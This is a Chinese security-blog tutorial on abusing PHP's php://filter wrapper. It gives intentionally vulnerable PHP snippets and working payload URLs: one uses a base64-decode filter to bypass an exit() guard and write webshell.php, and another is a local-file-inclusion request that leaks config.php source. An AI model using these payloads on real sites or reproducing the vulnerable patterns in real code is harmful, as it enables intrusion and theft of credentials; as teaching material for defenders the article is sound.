频道栏目
首页 > 安全 > 网站安全 > 正文

php://filter在php漏洞中的利用

2013-03-02 10:27:55      个评论       作者:qingsh4n
收藏   我要投稿
1、php://filter基础

 

php.net中的描述,https://php.net/manual/zh/wrappers.php.php。php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。更详细的内容可以查看上面的链接。

 

php.net中两个基本的例子:

 

<?php

/* 这会以大写字母输出 www.example.com 的全部内容 */

readfile("php://filter/read=string.toupper/resource=https://www.example.com");

 

<?php

/* 这会通过 rot13 过滤器筛选出字符 "Hello World"

  然后写入当前目录下的 example.txt */

file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");

在这个例子中,php会先把Hello World字符串做string.rot13转换然后再写入文件,这在场景A中会有用到。

 

2、利用场景

 

A.在黑哥(膜拜黑哥)的关于[技术挑战-2]有提到,这里只说和php://filter有关的部分。

 

下面一段代码:

 

<?php

$str = '<?php exit(\'74\');?>'.$_GET['c'];

$fname = $_GET['f'];

file_put_contents($fname,$str);

如何成功将phpinfo();写入文件并执行?利用上面提到的基础知识可以提交如下链接:

 

https://127.0.0.1:81/test.php?f=php%3A%2f%2ffilter%2fwrite%3Dconvert.base64-decode%2fresource%3Dwebshell.php&c=dddPD9waHBpbmZvKCk7Pz4

 

值得注意的有两点:

 

1). base64_decode()会忽略要解码字符串中无效字符像<>?;等,这里给出base64_decode()函数忽略无效字符相应的c函数代码

 

170        ch = base64_reverse_table[ch];

171        if ((!strict && ch < 0) || ch == -1) { /* a space or some other separator character, we simply skipo    ver */            www.2cto.com

172             continue;

173        } else if (ch == -2) {

174             efree(result);

175             return NULL;

176        }

177

 

2). 将<?php exit(’74‘);?>去掉无效字符时,补齐为4的倍数,例如这里去掉有效字符后是phpexit74,然后添加3个字符,补位为4的倍数,也就是c参数开头的三个d。原因的话可以查看base64编码的原理。

 

B.本地文件包含

 

如果有这么一段代码:

 

<?php 

include($_GET[‘file’]);

你想查看和本代码同一目录下config.php的内容。如何查看呢?

 

 https://127.0.0.1:81/test.php?file=php://filter/convert.base64-encode/resource=config.php

 

3、参考:

 

https://hi.baidu.com/hi_heige/item/06a5cb12f96f388989a95659

https://www.sektioneins.com/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability/index.html

https://php.net/manual/zh/wrappers.php.php

 

 

 

相关TAG标签 漏洞
上一篇:N点商业版漏洞通杀0day以及利用方法
下一篇:Burp通过注射点dump数据库
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训

版权所有: 红黑联盟--致力于做实用的IT技术学习网站